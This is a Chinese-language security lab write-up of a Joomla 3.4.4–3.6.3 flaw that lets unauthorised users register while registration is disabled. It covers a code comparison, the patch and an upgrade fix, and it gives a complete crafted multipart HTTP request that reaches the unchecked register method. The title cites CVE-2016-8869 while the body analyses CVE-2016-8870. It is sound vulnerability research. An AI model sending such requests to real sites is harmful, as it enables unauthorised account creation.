Author: p0wd3r (知道創宇404安全實驗室)
Date: 2016-10-26
漏洞聯動:Joomla未授權創建特權用戶漏洞(CVE-2016-8869)分析 (權限提升)
0x00 漏洞概述
1.漏洞簡介
Joomla是一個自由開源的內容管理系統,近日研究者發現在其3.4.4到3.6.3的版本中存在兩個漏洞:CVE-2016-8869,CVE-2016-8870。我們在這里僅分析CVE-2016-8870,利用該漏洞,攻擊者可以在網站關閉注冊的情況下注冊用戶。Joomla官方已對此漏洞發布升級公告。
2.漏洞影響
網站關閉注冊的情況下仍可創建用戶,默認狀態下用戶需要用郵件激活,但需要開啟注冊功能才能激活。
3.影響版本
3.4.4 to 3.6.3
0x01 漏洞復現
1. 環境搭建
wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
解壓后放到服務器目錄下,例如/var/www/html
創建個數據庫:
docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql
訪問服務器路徑進行安裝即可。
2.漏洞分析
在存在漏洞的版本中我們可以看到一個有趣的現象,即存在兩個用于用戶注冊的方法:
- 位于
components/com_users/controllers/registration.php中的UsersControllerRegistration::register() - 位于
components/com_users/controllers/user.php中的UsersControllerUser::register()
我們對比一下代碼:
UsersControllerRegistration::register():
public function register()
{
// Check for request forgeries.
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
$app = JFactory::getApplication();
$model = $this->getModel('Registration', 'UsersModel');
// Get the user data.
$requestData = $this->input->post->get('jform', array(), 'array');
// Validate the posted data.
$form = $model->getForm();
...
}
UsersControllerUser::register():
public function register()
{
JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN'));
// Get the application
$app = JFactory::getApplication();
// Get the form data.
$data = $this->input->post->get('user', array(), 'array');
// Get the model and validate the data.
$model = $this->getModel('Registration', 'UsersModel');
$form = $model->getForm();
...
}
可以看到相對于UsersControllerRegistration::register(),UsersControllerUser::register()的實現中并沒有這幾行代碼:
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false));
return false;
}
這幾行代碼是檢查是否允許注冊,也就是說如果我們可以用UsersControllerUser::register()這個方法來進行注冊就可以繞過這個檢測。
通過測試可知正常的注冊使用的是UsersControllerRegistration::register(),請求包如下:
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[name]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[username]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password1]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[password2]"
tomcat
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email1]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="jform[email2]"
tomcat@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
registration.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
雖然正常注冊并沒有使用UsersControllerUser::register(),但是并不代表我們不能使用。閱讀代碼可知,只要將請求包進行如下修改即可使用存在漏洞的函數進行注冊:
registration.register->user.registerjform[*]->user[*]
所以完整的復現流程如下:
1.首先在后臺關閉注冊功能,關閉后首頁沒有注冊選項:

2.然后通過訪問index.php抓包獲取cookie,通過看index.php源碼獲取token:


3.構造注冊請求:
POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"
attacker
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"
attacker@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"
com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"
user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"
1
------WebKitFormBoundaryefGhagtDbsLTW5qI--
4.發包,成功注冊:

2016-10-27 更新:
默認情況下,新注冊的用戶需要通過注冊郵箱激活后才能使用。并且:

由于$data['activation']的值會被覆蓋,所以我們也沒有辦法直接通過請求更改用戶的激活狀態。
2016-11-01 更新:
感謝三好學生和D的提示,可以使用郵箱激活的前提是網站開啟了注冊功能,否則不會成功激活。
我們看激活時的代碼,在components/com_users/controllers/registration.php中第28-99行的activate函數:
public function activate()
{
$user = JFactory::getUser();
$input = JFactory::getApplication()->input;
$uParams = JComponentHelper::getParams('com_users');
...
// If user registration or account activation is disabled, throw a 403.
if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
{
JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));
return false;
}
...
}
這里可以看到僅當開啟注冊功能時才允許激活,否則返回403。
3.補丁分析

官方刪除了UsersControllerUser::register()方法。
0x02 修復方案
升級到3.6.4
0x03 參考
https://www.seebug.org/vuldb/ssvid-92496
https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html
http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html
https://www.youtube.com/watch?v=Q_2M2oJp5l4
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/86/
暫無評論